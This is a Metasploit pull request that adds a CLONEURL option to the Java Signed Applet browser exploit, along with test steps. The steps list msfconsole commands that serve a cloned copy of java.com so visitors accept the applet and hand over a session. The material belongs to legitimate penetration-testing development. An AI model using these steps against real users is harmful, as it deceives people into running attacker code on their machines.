rapid7/metasploit-framework — pull request #2187 by jvennix-r7 (2013-08-03 02:52:23+00:00)
Title: Adds a CLONEURL option to the Java Signed Applet module

This allows a user to "clone" an external website and display it on the page that runs the applet.

### Verify no regressions

- [ ] Launch msfconsole, use the JSA module with default options and "Automatic" target

$ ./msfconsole
msf > use exploit/multi/browser/java_signed_applet
msf > set URIPATH /lolz
msf > set target 0
msf > exploit

- [ ] From a browser with Java applets enabled (heh), visit the URL that appears in the console output. Click Accept and run the applet.
- [ ] You should get a session

### Verify new behavior

- [ ] Now reconfigure the module to use the CLONEURL option. You can give it any URL to clone, but static pages without much JS will work the best (sometimes JS-heavy sites will include assets with SOP requirements, which will fail here since we are hosting from our own IP address).

msf > set CLONEURL http://java.com/en/download/index.jsp
msf > set URIPATH /lolz2
msf > rexploit

- [ ] Using the same browser as last time, visit the URL that appears in the console output. The page displayed should look like the legitimate website served by CLONEURL
- [ ] Click accept and you should get a session

### Notes on my changes:

1. I removed the @use_static check on line 235, as it did not seem to be doing anything. Grepping framework for "use_static" yielded no results, so I killed it.